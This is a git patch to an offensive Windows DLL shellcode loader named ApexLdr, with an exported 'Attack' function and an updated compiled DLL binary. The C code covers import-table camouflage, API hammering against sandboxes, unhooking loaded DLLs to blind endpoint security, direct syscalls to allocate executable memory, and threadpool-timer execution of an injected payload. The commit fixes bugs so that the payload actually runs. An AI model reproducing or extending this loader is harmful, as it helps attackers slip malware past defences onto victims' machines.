From c13163e5199e925845ef6fb96a6d41cde043dfca Mon Sep 17 00:00:00 2001 From: Cipher Date: Tue, 25 Jun 2024 06:34:38 +0530 Subject: [PATCH] Problem with payload execution --- ApexLdr/dist/ApexLdr.dll | Bin 95744 -> 95744 bytes ApexLdr/include/inject.h | 2 +- ApexLdr/src/dllmain.c | 55 ++++++++++++++++++++++++--------------- ApexLdr/src/inject.c | 18 ++++++++++--- 4 files changed, 50 insertions(+), 25 deletions(-) diff --git a/ApexLdr/dist/ApexLdr.dll b/ApexLdr/dist/ApexLdr.dll index 3f5228d17254eb4c9648fd80530b6f2464b2dbaa..26cd63b548cf07b80d2ac7075d072a099d51afb5 100755 GIT binary patch delta 13594 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 delta 13530 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 ui_%MbED8-QQ(3)Ew{YIQQ2z_xYAx>o diff --git a/ApexLdr/include/inject.h b/ApexLdr/include/inject.h index 687d514..0253df9 100644 --- a/ApexLdr/include/inject.h +++ b/ApexLdr/include/inject.h @@ -11,7 +11,7 @@ #define PAYLOAD_EXEC_DELAY 0x0A BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload); -VOID Execute(IN PVOID pInjectedPayload); +VOID Execute(PVOID pInjectedPayload); #endif //APEXLDR_INJECT_H diff --git a/ApexLdr/src/dllmain.c b/ApexLdr/src/dllmain.c index 9f56f64..be7a400 100644 --- a/ApexLdr/src/dllmain.c +++ b/ApexLdr/src/dllmain.c @@ -25,39 +25,52 @@ extern __declspec(dllexport) int Attack() IatCamouflage(); - MessageBoxA(NULL, "Hello", "Hello", MB_OK); - __debugbreak(); - HMODULE kernel32_handle = GetModuleHandleH(kernel32_CRC32); - __debugbreak(); - fnAddVectoredExceptionHandler pAddVectoredExceptionHandler = (fnAddVectoredExceptionHandler)GetProcAddressH( kernel32_handle, AddVectoredExceptionHandler_CRC32); - fnRemoveVectoredExceptionHandler pRemoveVectoredExceptionHandler = (fnRemoveVectoredExceptionHandler)GetProcAddressH(kernel32_handle, RemoveVectoredExceptionHandler_CRC32); - __debugbreak(); +// MessageBoxA(NULL, "Hello", "Hello", MB_OK); +// __debugbreak(); +// HMODULE kernel32_handle = GetModuleHandleH(kernel32_CRC32); +// __debugbreak(); +// fnAddVectoredExceptionHandler pAddVectoredExceptionHandler = (fnAddVectoredExceptionHandler)GetProcAddressH( kernel32_handle, AddVectoredExceptionHandler_CRC32); +// fnRemoveVectoredExceptionHandler pRemoveVectoredExceptionHandler = (fnRemoveVectoredExceptionHandler)GetProcAddressH(kernel32_handle, RemoveVectoredExceptionHandler_CRC32); +// __debugbreak(); +// +// ApiHammering(1000); +// +// if (pAddVectoredExceptionHandler == NULL || pRemoveVectoredExceptionHandler == NULL) +// { +// MessageBoxA(NULL, "ERROR", "ERROR", MB_OK); +// return -1; +// } +// +// MessageBoxA(NULL, "Hello", "Hello", MB_OK); +// +// pVehHandler = pAddVectoredExceptionHandler(1, VectoredExceptionHandler); +// if (pVehHandler == NULL) +// return -1; - ApiHammering(1000); - - if (pAddVectoredExceptionHandler == NULL || pRemoveVectoredExceptionHandler == NULL) - { - MessageBoxA(NULL, "ERROR", "ERROR", MB_OK); - return -1; - } - - MessageBoxA(NULL, "Hello", "Hello", MB_OK); - - pVehHandler = pAddVectoredExceptionHandler(1, VectoredExceptionHandler); + pVehHandler = AddVectoredExceptionHandler(1, VectoredExceptionHandler); if (pVehHandler == NULL) return -1; + ApiHammering(1000); + UnhookAllLoadedDlls(); + if (!RemoveVectoredExceptionHandler(pVehHandler)) + return -1; + + ApiHammering(1000); + MessageBoxA(NULL, "Hello", "Hello", MB_OK); - if (!pRemoveVectoredExceptionHandler(pVehHandler)) - return -1; - if (!Inject(&pPayload, sSize, &pInjectedPayload)) + { return -1; + } + + ApiHammering(1000); Execute(pInjectedPayload); + return 0; } diff --git a/ApexLdr/src/inject.c b/ApexLdr/src/inject.c index e859028..069273f 100644 --- a/ApexLdr/src/inject.c +++ b/ApexLdr/src/inject.c @@ -13,7 +13,7 @@ BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload) sNewPayloadSize = sNewPayloadSize + PAGE_SIZE; - if ((STATUS = Sw3NtAllocateVirtualMemory(NtCurrentProcess(), &pAddress, 0, &sNewPayloadSize, MEM_RESERVE, PAGE_READONLY)) == 0) + if ((STATUS = Sw3NtAllocateVirtualMemory(NtCurrentProcess(), &pAddress, 0, &sNewPayloadSize, MEM_RESERVE, PAGE_READONLY)) != 0) { return FALSE; } @@ -24,7 +24,7 @@ BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload) for (DWORD i = 0; i < ii; i++) { - if ((STATUS = Sw3NtAllocateVirtualMemory(NtCurrentProcess(), &pTmpAddress, 0, &sChunkSize, MEM_COMMIT, PAGE_READWRITE)) == 0) + if ((STATUS = Sw3NtAllocateVirtualMemory(NtCurrentProcess(), &pTmpAddress, 0, &sChunkSize, MEM_COMMIT, PAGE_READWRITE)) != 0) { return FALSE; } @@ -35,7 +35,7 @@ BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload) for (DWORD i = 0; i < ii; i++) { - if ((STATUS = Sw3NtProtectVirtualMemory(NtCurrentProcess(), &pTmpAddress, &sChunkSize, PAGE_EXECUTE_READWRITE, &dwOldPermissions)) == 0) + if ((STATUS = Sw3NtProtectVirtualMemory(NtCurrentProcess(), &pTmpAddress, &sChunkSize, PAGE_EXECUTE_READWRITE, &dwOldPermissions)) != 0) { return FALSE; } @@ -51,10 +51,17 @@ BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload) pTmpPayload = (PBYTE)((ULONG_PTR)pTmpPayload + PAGE_SIZE); pTmpAddress = (PBYTE)((ULONG_PTR)pTmpAddress + PAGE_SIZE); } + *pInjectedPayload = pAddress; return TRUE; } +VOID CALLBACK TimerCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_TIMER Timer) +{ + // Payload execution code here + ((void(*)(void))Context)(); +} + VOID Execute(PVOID pInjectedPayload) { TP_CALLBACK_ENVIRON tpCallbackEnv = { 0 }; @@ -63,7 +70,10 @@ VOID Execute(PVOID pInjectedPayload) PTP_TIMER ptpTimer = NULL; if (!pInjectedPayload) + { + MessageBoxA(NULL, "ERROR", "ERROR", MB_OK); return; + } InitializeThreadpoolEnvironment(&tpCallbackEnv); @@ -73,6 +83,8 @@ VOID Execute(PVOID pInjectedPayload) ulDueTime.QuadPart = (ULONGLONG)-(PAYLOAD_EXEC_DELAY * 10 * 1000 * 1000); FileDueTime.dwHighDateTime = ulDueTime.HighPart; FileDueTime.dwLowDateTime = ulDueTime.LowPart; + SetThreadpoolTimer(ptpTimer, &FileDueTime, 0x00, 0x00); + WaitForSingleObject((HANDLE)-1, INFINITE); } \ No newline at end of file